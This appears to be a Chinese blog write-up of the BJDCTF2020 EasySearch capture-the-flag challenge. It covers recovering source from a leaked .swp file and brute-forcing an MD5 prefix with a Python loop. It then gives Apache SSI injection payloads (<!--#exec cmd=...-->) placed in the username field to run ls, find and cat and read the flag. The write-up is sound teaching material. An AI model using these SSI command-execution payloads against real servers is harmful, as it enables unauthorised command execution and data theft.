[BJDCTF2020]EasySearch 1(shtml)

本文讲述了通过扫描发现的PHP源码泄露问题,利用MD5值的前六位进行暴力破解。随后讨论了Apache SSI(服务器端包含)漏洞,提到了利用shtml文件执行远程命令的可能性。尽管没有直接的文件上传入口,但通过修改username参数尝试了执行不同命令来查找flag文件并成功获取了flag内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

扫描到后台后index.php.swp文件泄露,访问一下得到源码
(反正我是没有扫到,wuwuwu~)
在这里插入图片描述
可以看到password的md5值的前六位要等于6d0bc1
不会写哈,用用别人的

import hashlib

for i in range(1000000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()

    if a[0:6] == '6d0bc1':
        print(i)
        print(a)

在这里插入图片描述
抓包,看到有一个隐藏的url,是shtml
在这里插入图片描述
看到shtml,想到Apache SSI 远程命令执行漏洞,参考:https://cloud.tencent.com/developer/article/1540513
可以上传一个shtml文件,内容为

<!--#exec cmd="whoami" -->

但是这里没有可以上传文件的地方。

回顾一下整个流程,password是固定的值,唯一可控的地方就是username,尝试抓包后更改注入:
在这里插入图片描述
扫描当前目录

<!--#exec cmd="ls"-->

查看当前目录

<!--#exec cmd="pwd"-->

如果文件名叫flag***那么可以找文件

<!--#exec cmd="find / -type f -name flag*"-->

在这里插入图片描述
在这里插入图片描述
cat flag

<!--#exec cmd="cat /var/www/html/flag_990c66bf85a09c664f0b6741840499b2"-->

在这里插入图片描述
在这里插入图片描述
得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值